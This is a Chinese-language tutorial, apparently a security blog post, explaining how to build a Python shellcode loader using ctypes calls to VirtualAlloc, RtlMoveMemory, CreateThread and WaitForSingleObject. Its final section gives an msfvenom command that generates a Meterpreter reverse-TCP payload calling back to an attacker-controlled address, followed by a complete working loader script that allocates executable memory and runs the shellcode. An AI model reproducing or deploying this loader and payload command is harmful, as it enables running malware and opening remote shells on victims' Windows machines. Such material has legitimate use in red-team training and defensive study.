@Author:Y4tacker
文章目錄
- python-shellcode加載器
- 流程
- 函數介紹
- VirtualAlloc
- RtlMoveMemory
- CreateThread
- WaitForSingleObject
- 實戰
python-shellcode加載器
主要是利用ctypes庫來調用windows的api來完成加載shellcode的操作
流程
将shellcode加載進記憶體并執行
函數介紹
VirtualAlloc
申請記憶體調用VirtualAlloc函數,來申請一塊動态記憶體區域。VirtualAlloc函數原型和參數如下:
LPVOID VirtualAlloc{
LPVOID lpAddress, #要配置設定的記憶體區域的位址
DWORD dwSize, #配置設定的大小
DWORD flAllocationType, #配置設定的類型
DWORD flProtect #該記憶體的初始保護屬性
};
python
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
ctypes.c_int(0) | 是NULL,系統将會決定配置設定記憶體區域的位置,并且按64KB向上取整 |
ctypes.c_int(len(shellcode)) | 以位元組為機關配置設定或者保留多大區域 |
ctypes.c_int(0x3000) | 是 MEM_COMMIT(0x1000) 和 MEM_RESERVE(0x2000)類型的合并 |
ctypes.c_int(0x40) | 是權限為PAGE_EXECUTE_READWRITE 該區域可以執行代碼,應用程式可以讀寫該區域。 |
RtlMoveMemory
調用RtlMoveMemory函數可以将shellcode載入記憶體,此函數從指定記憶體中複制内容至另一記憶體裡。RtlMoveMemory函數原型和參數如下
RtlMoveMemory(Destination,Source,Length);
Destination :指向移動目的位址的指針。
Source :指向要複制的記憶體位址的指針。
Length :指定要複制的位元組數。
在python中
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),buf, ctypes.c_int(len(shellcode)))
CreateThread
建立程序調用CreateThread将在主線程的基礎上建立一個新線程CreateThread函數原型和參數如下:
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,#線程安全屬性
SIZE_T dwStackSize, #置初始棧的大小,以位元組為機關
LPTHREAD_START_ROUTINE lpStartAddress, #指向線程函數的指針
LPVOID lpParameter, #向線程函數傳遞的參數
DWORD dwCreationFlags, #線程建立屬性
LPDWORD lpThreadId #儲存新線程的id
)
在python
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
lpThreadAttributes | 為NULL使用預設安全性 |
dwStackSize | 為0,預設将使用與調用該函數的線程相同的棧空間大小 |
lpStartAddress | 為ctypes.c_uint64(ptr),定位到申請的記憶體所在的位置 |
lpParameter | 不需傳遞參數時為NULL |
dwCreationFlags | 屬性為0,表示建立後立即激活 |
lpThreadId | 為ctypes.pointer(ctypes.c_int(0))不想傳回線程ID,設定值為NULL |
WaitForSingleObject
等待線程結束調用WaitForSingleObject函數用來檢測線程的狀态WaitForSingleObject函數原型和參數
DWORD WINAPI WaitForSingleObject(
__in HANDLE hHandle, #對象句柄。可以指定一系列的對象
__in DWORD dwMilliseconds #定時時間間隔
);
在python裡
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
正常的話我們建立的線程是需要一直運作的,是以将時間設為負數,等待時間将成為無限等待,程式就不會結束
實戰
首先用msf生成shellcode
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.5.113 lport=6666 -f py > 1.txt
import ctypes
VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
RtlMoveMemory = ctypes.windll.kernel32.RtlMoveMemory
CreateThread = ctypes.windll.kernel32.CreateThread
WaitForSingleObject = ctypes.windll.kernel32.WaitForSingleObject
#shellcode可以用msf來生成
buf = b""
shellcode = bytearray(buf)
VirtualAlloc.restype = ctypes.c_void_p # 重載函數傳回類型為void
p = VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), 0x3000, 0x00000040) # 申請記憶體
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) # 将shellcode指向指針
RtlMoveMemory(ctypes.c_void_p(p), buf, ctypes.c_int(len(shellcode))) # 複制shellcode進申請的記憶體中
h = CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_void_p(p), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) # 執行建立線程
WaitForSingleObject(ctypes.c_int(h), ctypes.c_int(-1)) # 檢測線程建立事件